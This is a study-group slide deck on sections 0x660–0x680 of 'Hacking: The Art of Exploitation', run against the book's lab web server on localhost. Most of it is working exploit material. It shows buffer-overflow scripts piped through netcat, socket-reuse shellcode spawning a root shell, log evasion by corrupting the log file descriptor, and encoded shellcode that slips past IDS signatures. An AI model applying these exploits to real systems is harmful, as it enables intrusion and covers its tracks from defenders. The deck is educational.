Upload
jefferson-thornhill
View
249
Download
5
Embed Size (px)
Citation preview
1
Hacking: The Art of Ex-ploitation
0x660 - 0x6802014.12.11
Presenter: Jaesang Oh
2
Contents
• 0x660: Advanced Camouflage
• 0x670: The Whole Infrastructure
• 0x680: Payload Smuggling
3
0x660: Advanced Camou-flage• In previous topic, we discuss how to hide exploit attempt
written in a log file• Example: Blend in with the Crowd
• But IP address of attacker still written in a log file
jaesang@jaesang-desktop:/var/log $ sudo cat tinywebd.log 12/11/2014 02:43:27> Starting up..12/11/2014 02:43:41> From 127.0.0.1:36059 "GET / HTTP/1.1" 200 OK12/11/2014 02:43:41> From 127.0.0.1:36060 "GET /image.jpg HTTP/1.1" 200 OK12/11/2014 02:43:41> From 127.0.0.1:36061 "GET /favicon.ico HTTP/1.1" 404 Not Foundjaesang@jaesang-desktop:/var/log $
4
How to know the IP ad-dress• In tinywebd.c, void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { unsigned char *ptr, request[500], resource[500], log_buffer[500]; int fd, length;
length = recv_line(sockfd, request);
sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);
• Sockaddr_in struct contains the IP address and port number• Spoof IP address by overwriting client_addr_ptr
5
Value of client_addr_ptr
• Executing addr_struct.c ,int main(int argc, char *argv[]) { struct sockaddr_in addr; if(argc != 3) { printf("Usage: %s <target IP> <target port>\n", argv[0]); exit(0); } addr.sin_family = AF_INET; addr.sin_port = htons(atoi(argv[2])); addr.sin_addr.s_addr = inet_addr(argv[1]);
write(1, &addr, sizeof(struct sockaddr_in)); printf ("\n\nSizeof sockaddr_in: %d\n\n", sizeof(struct sockaddr_in));
}
• We can getjaesang@jaesang-desktop:~/booksrc $ ./addr_struct 12.34.56.78 9090 #� "8N o�
Sizeof sockaddr_in: 16
jaesang@jaesang-desktop:~/booksrc $ ./addr_struct 12.34.56.78 9090 | hexdump -C00000000 02 00 23 82 0c 22 38 4e 00 00 00 00 f4 6f fd b7 |..#.."8N.....o..|00000010 0a 0a 53 69 7a 65 6f 66 20 73 6f 63 6b 61 64 64 |..Sizeof sockadd|00000020 72 5f 69 6e 3a 20 31 36 0a 0a |r_in: 16..|0000002ajaesang@jaesang-desktop:~/booksrc $
6
Exploit Code
• request buffer location == 0xbffff520• RET location == 0xbffff73c• Offset == 540 bytes(gdb) x/x request0xbffff520: 0x20544547(gdb) x/16x request + 5000xbffff714: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff7a80xbffff724: 0xb7ff9300 0xb7fd6ff4 0xbffff7a8 0xb7fd6ff40xbffff734: 0xb7fd6ff4 0xbffff7a8 0x08048fb7 0x000000070xbffff744: 0xbffff770 0x00000005 0xbffff798 0x00000004(gdb) x/x 0xbffff734 + 80xbffff73c: 0x08048fb7(gdb) p 0xbffff73c - 0xbffff520$1 = 540(gdb)
• Exploit• [ Fake Request ] [ NOP Sled ] [ Shellcode ] [ RET Addr * 32 ]
== 544 bytes
7
Exploit code (xtool_tinywebd_spoof.sh)
• [ Fake Request ] [ client_addr_ptr ] [ NOP Sled ] [ Shellcode ] [ RET Addr * 32 ] [ *client_addr_ptr ] == 552 bytes
#!/bin/sh# IP spoofing stealth exploitation tool for tinywebd
SPOOFIP="12.34.56.78"SPOOFPORT="9090“
……
RETADDR="\x84\xf5\xff\xbf" # at +100 bytes from buffer @ 0xbffff5c0 – I have to modify hex value
FAKEADDR="\x2f\xf5\xff\xbf" # +15 bytes from buffer @ 0xbffff5c0 – I have to modify hex value
……
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16))
(perl -e "print \"$FAKEREQUEST\""; ./addr_struct "$SPOOFIP" "$SPOOFPORT"; perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1;perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\r\n\"") | nc -w 1 -v $2 80
8
Execution Result
• Failed (In my Lab Computer)(gdb) x/x request0xbffff580: 0x20544547(gdb) contContinuing.
Breakpoint 1, handle_connection (sockfd=7, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:8686 length = recv_line(sockfd, request); (gdb) contContinuing.
Breakpoint 1, handle_connection (sockfd=8, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:8686 length = recv_line(sockfd, request); (gdb) bt#0 handle_connection (sockfd=8, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:86#1 0x08048fb7 in main () at tinywebd.c:72(gdb) print *client_addr_ptr$1 = {sin_family = 2, sin_port = 60134, sin_addr = {s_addr = 16777343}, sin_zero = "\000\000\000\000\000\000\000"}(gdb) contContinuing.
Program received signal SIGSEGV, Segmentation fault.0x08048fe1 in handle_connection (sockfd=-169558017, client_addr_ptr=0xf5e4bfff, logfd=-169558017) at tinywebd.c:8888 sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request); (gdb)
9
Execution Result
• Success (In my Macbook)Breakpoint 1, handle_connection (sockfd=6, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:8686 length = recv_line(sockfd, request); (gdb) b 89Breakpoint 2 at 0x8049028: file tinywebd.c, line 89.(gdb) print *client_addr_ptr$2 = {sin_family = 2, sin_port = 33438, sin_addr = {s_addr = 16777343}, sin_zero = "\000\000\000\000\000\000\000"}(gdb) contContinuing.
Breakpoint 2, handle_connection (sockfd=-1073744497, client_addr_ptr=0xbffff58f, logfd=2560) at tinywebd.c:9090 ptr = strstr(request, " HTTP/"); // search for valid looking request (gdb) print *client_addr_ptr$3 = {sin_family = 2, sin_port = 33315, sin_addr = {s_addr = 1312301580}, sin_zero = "\000\000\000\000 o�(gdb) x/s log_buffer0xbffff180: "From 12.34.56.78:9090 \"GET / HTTP/1.1\"\t“
• I don’t know why it happens :(
10
Do not write Log
• In handle_connection function,void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { unsigned char *ptr, request[500], resource[500], log_buffer[500]; int fd, length;
…
write(logfd, log_buffer, length); // write to the log
• In previous slide,Breakpoint 1, handle_connection (sockfd=6, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:86
• If logfd is not 3, it fails to write logjaesang@jaesang-laptop:~/booksrc $ sudo strace -p 5200 -e trace=writeProcess 5200 attached - interrupt to quitwrite(2560, "12/11/2014 11:24:49> ", 21) = -1 EBADF (Bad file descriptor)write(2560, "From 12.34.56.78:9090 \"GET / HTT"..., 47) = -1 EBADF (Bad file descriptor)write(3, "12/11/2014 11:34:41> ", 21) = 21write(3, "From 127.0.0.1:57891 \"GET / HTTP"..., 46) = 46
11
Exploit Code
• If we change the value of logfd, log will be w• [ Fake Request ] [ client_addr_ptr ] [ NOP Sled ] [ Shellcode ]
[ RET Addr * 32 ] [ *client_addr_ptr ] [File Descriptor] == 553 bytes
……
(perl -e "print \"$FAKEREQUEST\""; ./addr_struct "$SPOOFIP" "$SPOOFPORT"; perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1;perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\"") | nc -w 1 -v $2 80
• File Descriptor value “1”• Daemon does not print the result to Standard output(fd == 1)
• ( redirect output to /dev/null )
12
Execution Result (In my Mac)jaesang@jaesang-laptop:~/booksrc $ ls -l /Hacked -rw------- 1 root root 0 2014-12-11 10:59 /Hackedjaesang@jaesang-laptop:~/booksrc $ sudo rm /HackedPassword:jaesang@jaesang-laptop:~/booksrc $ ps aux | grep tinywebdroot 5200 0.0 0.0 1636 464 ? Ss 10:58 0:00 ./tinywebdjaesang 6440 0.0 0.1 2880 748 pts/0 R+ 11:41 0:00 grep tinywebdjaesang@jaesang-laptop:~/booksrc $ ls -l /var/log/tinywebd.log -rw------- 1 root root 586 2014-12-11 11:34 /var/log/tinywebd.logjaesang@jaesang-laptop:~/booksrc $ ./xtool_tinywebd_silent.sh mark_restore 127.0.0.1target IP: 127.0.0.1shellcode: mark_restore (53 bytes)fake request: "GET / HTTP/1.1\x00" (15 bytes)[Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128] [*fake_addr 8]localhost [127.0.0.1] 80 (www) openjaesang@jaesang-laptop:~/booksrc $ ls -l /var/log/tinywebd.log -rw------- 1 root root 586 2014-12-11 11:34 /var/log/tinywebd.logjaesang@jaesang-laptop:~/booksrc $ ls -l /Hacked -rw------- 1 root root 0 2014-12-11 11:42 /Hackedjaesang@jaesang-laptop:~/booksrc $
• Shellcode executed without writing log
13
0x670: The Whole Infra-structure• IDS and IPS detect exploit attempt by several ways
• Analyze abnormal log• Check connection with other port, such as 31337
• We can use same socket since we already open socketfrom the web request
14
Socket Reuse
• However, we corrupt socket descriptor when overflowing request buffer• In previous Execution result,Breakpoint 1, handle_connection (sockfd=6, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:86
Breakpoint 2, handle_connection (sockfd=-1073744497, client_addr_ptr=0xbffff58f, logfd=2560) at tinywebd.c:90
• Since sockfd is passed-by-value to handle_connection(), original value of sockfd is remain in main()
15
Socket Reuse – tinywebd.c
• In main() int new_sockfd, yes=1;
……
while(1) { // Accept loop sin_size = sizeof(struct sockaddr_in); new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); if(new_sockfd == -1) fatal("accepting connection");
handle_connection(new_sockfd, &client_addr, logfd); }
return 0;
}
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { unsigned char *ptr, request[500], resource[500], log_buffer[500]; int fd, length;
16
Calculating the address of new_sockfd
• Distance(Offset) from ESPBreakpoint 1, handle_connection (sockfd=16, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:8686 length = recv_line(sockfd, request); (gdb) x/x &sockfd0xbffff7a0: 0x00000010(gdb) x/x &new_sockfdNo symbol "new_sockfd" in current context.(gdb) bt#0 handle_connection (sockfd=16, client_addr_ptr=0xbffff7d0, logfd=3) at tinywebd.c:86#1 0x08048fb7 in main () at tinywebd.c:72(gdb) select-frame 1(gdb) x/x &new_sockfd0xbffff7fc: 0x00000010(gdb) i r espesp 0xbffff7a0 0xbffff7a0(gdb) p /x 0xbffff7fc - 0xbffff7a0$1 = 0x5c(gdb)
• 0x5c is the distance of new_sockfd from ESP
17
Loopback shell improved (0x650)• socket_reuse_restore.s……
child_process: ; re-use existing socket lea edx, [esp+0x5c] ; put the address of new_sockfd in edx mov ebx, [edx] ; put the value of new_sockfd in ebx push BYTE 0x02 pop ecx ; ecx starts at 2 xor eax, eax xor edx, edxdup_loop: mov BYTE al, 0x3F ; dup2 syscall #63 int 0x80 ; dup2(c, 0) dec ecx ; count down to 0 jns dup_loop ; if the sign flag is not set, ecx is not negative
……
• Copy used socket descriptor (new_sockfd) to fd 0, 1, and 2
18
Execve in Socket_reuse_restore.s• Socket_reuse_restore.s cont; execve(const char *filename, char *const argv [], char *const envp[]) mov BYTE al, 11 ; execve syscall #11 push edx ; push some nulls for string termination push 0x68732f2f ; push "//sh" to the stack push 0x6e69622f ; push "/bin" to the stack mov ebx, esp ; put the address of "/bin//sh" into ebx, via esp push edx ; push 32-bit null terminator to stack mov edx, esp ; this is an empty array for envp push ebx ; push string addr to stack above null terminator mov ecx, esp ; this is the argv array with string ptr int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
• For compare result in next topic
19
Exploit code (xtool_tinywebd_reuse.sh)
• [ Fake Request ] [ client_addr_ptr ] [ NOP Sled ] [ Shellcode ] [ RET Addr * 32 ] [ *client_addr_ptr ] [File Descriptor] [ cat command ]
……
(perl -e "print \"$FAKEREQUEST\""; ./addr_struct "$SPOOFIP" "$SPOOFPORT"; perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1;perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\"";cat -;) | nc -v $2 80
20
Execution Result (In my Mac)jaesang@jaesang-laptop:~/booksrc $ ./xtool_tinywebd_reuse.sh socket_reuse_restore 127.0.0.1target IP: 127.0.0.1shellcode: socket_reuse_restore (62 bytes)fake request: "GET / HTTP/1.1\x00" (15 bytes)[Fake Request 15] [spoof IP 16] [NOP 323] [shellcode 62] [ret addr 128] [*fake_addr 8]localhost [127.0.0.1] 80 (www) openwhoamirootpwd/home/jaesang/booksrc
• By using existing socket and netcat, we can use commandas root privilege
21
0x680: Payload Smuggling
• IDS or IPS can also analyze the packet itself
• For example, they can find shell code which contains the substring /bin or //sh (to make /bin/sh)• socket_reuse_restore.s filejaesang@jaesang-laptop:~/booksrc $ hexdump -C socket_reuse_restore00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X....t..l$hh..|00000010 04 08 c3 8d 54 24 5c 8b 1a 6a 02 59 31 c0 31 d2 |....T$\..j.Y1.1.|00000020 b0 3f cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 |.?..Iy...Rh//shh|00000030 2f 62 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |/bin..R..S....|0000003e
• We can bypass it by hiding this string
22
String Encoding
• Strategy: Simply add 5 to each byte in the string in hiding phase, and subtract 5 in the shell code
jaesang@jaesang-desktop:/var/log $ echo "/bin/sh" | hexdump -C00000000 2f 62 69 6e 2f 73 68 0a |/bin/sh.| <- 0a should be modified to 00 to indicate string00000008jaesang@jaesang-desktop:/var/log $ gdb -q(gdb) print /x 0x0a68732f + 0x05050505$1 = 0xf6d7834 <- should be modified to 0x56d7834(gdb) print /x 0x6e69622f + 0x05050505$2 = 0x736e6734(gdb)
23
String Encoding In Shell-code• Other things are similar to previous shellcode.
But this shellcode does not contain /bin or //sh itself
• encoded_socketreuserestore.s; execve(const char *filename, char *const argv [], char *const envp[]) mov BYTE al, 11 ; execve syscall #11 push 0x056d7834 ; push "/sh\x00" encoded +5 to the stack push 0x736e6734 ; push "/bin" encoded +5 to the stack mov ebx, esp ; put the address of encoded "/bin/sh" into ebx
…… push BYTE 0x8 ; need to decode 8 bytes pop edxdecode_loop: sub BYTE [ebx+edx], 0x5 dec edx jns decode_loop
24
Execution Result (In my Mac)jaesang@jaesang-laptop:~/booksrc $ hexdump -C encoded_sockreuserestore00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X....t..l$hh..|00000010 04 08 c3 8d 54 24 5c 8b 1a 6a 02 59 31 c0 b0 3f |....T$\..j.Y1..?|00000020 cd 80 49 79 f9 b0 0b 68 34 78 6d 05 68 34 67 6e |..Iy...h4xm.h4gn|00000030 73 89 e3 6a 08 5a 80 2c 13 05 4a 79 f9 31 d2 52 |s..j.Z.,..Jy.1.R|00000040 89 e2 53 89 e1 cd 80 |..S....|00000047jaesang@jaesang-laptop:~/booksrc $ ./xtool_tinywebd_reuse.sh encoded_sockreuserestore 127.0.0.1target IP: 127.0.0.1shellcode: encoded_sockreuserestore (71 bytes)fake request: "GET / HTTP/1.1\x00" (15 bytes)[Fake Request 15] [spoof IP 16] [NOP 314] [shellcode 71] [ret addr 128] [*fake_addr 8]localhost [127.0.0.1] 80 (www) openwhoamiroot
• We can use shell without “/bin/sh” inside the shellcode
25
…?